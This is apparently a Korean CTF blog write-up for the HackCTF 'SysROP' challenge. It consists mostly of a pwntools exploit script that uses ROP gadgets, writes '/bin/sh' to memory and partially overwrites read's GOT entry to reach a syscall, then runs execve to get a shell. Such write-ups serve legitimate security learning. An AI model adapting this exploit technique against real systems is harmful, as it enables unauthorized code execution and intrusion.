Profile

youngsouk

youngsouk

[hackctf]SysROP

from pwn import *

#p = process('./sysrop')
p = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./sysrop')

context.log_level = "debug"

p_ax_dx_di_si_r = 0x4005Ea
p_dx_di_si_r = 0x4005EB
main = 0x4005F2
p_rdi_r = 0x00000000004006c3
data = 0x0000000000601030

pause()
payload = 'a'* 24
payload += p64(p_dx_di_si_r)
payload += p64(len('/bin/sh\x00'))
payload += p64(0)
payload += p64(data)
payload += p64(e.plt['read'])
payload += p64(main)

p.sendline(payload)
sleep(0.1)
p.send('/bin/sh\x00')
sleep(0.1)

payload = 'a' * 24
payload += p64(p_dx_di_si_r) 
payload += p64(1) 
payload += p64(0)
payload += p64(e.got['read'])
payload += p64(e.plt['read'])

payload += p64(p_ax_dx_di_si_r)
payload += p64(59) 
payload += p64(0)
payload += p64(data)
payload += p64(0)
payload += p64(e.plt['read'])

p.sendline(payload)
p.send('\x5e')

p.interactive()

가젯을 이용하여 적당한 bss주소에다가 /bin/sh\x00을 쓰고, read의 마지막 1바이트를 syscall로 바꾸고

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ 이 페이지에서 execve의 rax 값 59를 알아내서 /bin/sh를 실행시키는 익스를 할 수 있다.

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]Unexploitable_2  (0) 2019.07.18
[hackctf]Unexploitable  (0) 2019.07.16
[hackctf] you are silver  (0) 2019.07.15
[hackctf]ROP  (0) 2019.07.15
[hackctf] uaf  (0) 2019.07.15